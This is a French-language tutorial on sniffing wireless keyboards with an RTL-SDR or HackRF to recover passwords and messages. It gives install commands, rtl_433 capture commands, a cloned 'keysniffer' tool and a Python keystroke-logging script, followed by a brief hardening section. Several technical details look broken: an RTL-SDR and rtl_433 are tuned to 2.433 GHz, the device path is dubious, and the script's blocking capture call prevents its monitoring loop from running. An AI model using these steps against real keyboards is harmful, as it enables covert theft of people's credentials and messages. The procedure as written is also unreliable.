⚠️ Avertissement
Ce tutoriel est fourni à des fins éducatives uniquement. L'interception de signaux de claviers sans fil sans autorisation explicite est illégale et peut entraîner des poursuites judiciaires. Utilisez ces techniques uniquement dans un cadre légal et pour des tests de sécurité légitimes.
Interception de Claviers Sans Fil (KeySniffer)
Objectif
Utiliser un dispositif de réception radio pour intercepter les frappes d'un clavier sans fil non sécurisé, permettant de récupérer des informations sensibles telles que des mots de passe, des messages, ou des données d'identification.
Prérequis
- Matériel : Un RTL-SDR (Radio Tuner) ou un HackRF One, un ordinateur (Raspberry Pi ou PC) avec Kali Linux installé.
- Logiciel : GQRX ou RTL_433, et une suite de décryptage des données telles que KeySniffer.
- Connaissances requises : Notions sur les fréquences radio, le fonctionnement des claviers sans fil, et les principes de modulation.
Tutoriel détaillé
1. Installation des Outils Nécessaires
- Connecter le RTL-SDR ou le HackRF à votre ordinateur.
- Installer GQRX pour la réception des signaux :
sudo apt-get update
sudo apt-get install gqrx-sdr
rtl_433 pour la démodulation des signaux des claviers :sudo apt-get install rtl-433
2. Configuration du RTL-SDR ou du HackRF
Lancer GQRX pour scanner les fréquences disponibles :
gqrx
Scanner la plage de fréquences utilisée par les claviers sans fil (généralement entre 2.4 GHz et 2.5 GHz pour les appareils non sécurisés).
3. Capture des Signaux Clavier
Utiliser rtl_433 pour capturer les données transmises :
rtl_433 -f 2.433e9
Observer les paquets et noter les patterns de transmission des touches.
4. Décryptage des Données avec KeySniffer
KeySniffer est un outil qui permet d’intercepter et déchiffrer les frappes de clavier. Cloner le dépôt :
git clone https://github.com/keysniffer/keysniffer.git
cd keysniffer
sudo make
Lancer l’outil pour commencer à capturer les frappes de touches :
sudo ./keysniffer -d /dev/rtl_sdr
Lire les frappes interceptées et observer les mots de passe ou autres informations saisies.
5. Automatisation avec un Script Python pour la Capture Continue
Automatiser la capture de frappes de clavier avec un script Python qui utilise rtl_433 et analyse en temps réel.
import os
import time
def start_capture():
print("[*] Capturing keyboard signals...")
os.system("rtl_433 -f 2.433e9 > /tmp/keyboard_capture.log")
def monitor_keystrokes(log_file):
print("[*] Monitoring keystrokes...")
with open(log_file, 'r') as f:
while True:
line = f.readline()
if line:
print(f"[Key Stroke] {line.strip()}")
time.sleep(0.5)
if __name__ == "__main__":
log_file = "/tmp/keyboard_capture.log"
start_capture()
monitor_keystrokes(log_file)
Ce script lance une capture continue et affiche les frappes interceptées en temps réel, offrant un moyen simple de surveiller les activités des claviers sans fil.
6. Sécurisation et Bonnes Pratiques
- Si l’objectif est de sécuriser, recommander l’utilisation de claviers sécurisés (Bluetooth Low Energy avec chiffrement AES).
- En entreprise, sensibiliser les utilisateurs à ne jamais utiliser de périphériques sans fil non sécurisés dans des environnements critiques.
Validation et Compatibilité
Tester sur plusieurs types de claviers sans fil (Logitech, Microsoft, etc.) pour vérifier la compatibilité des fréquences et des transmissions.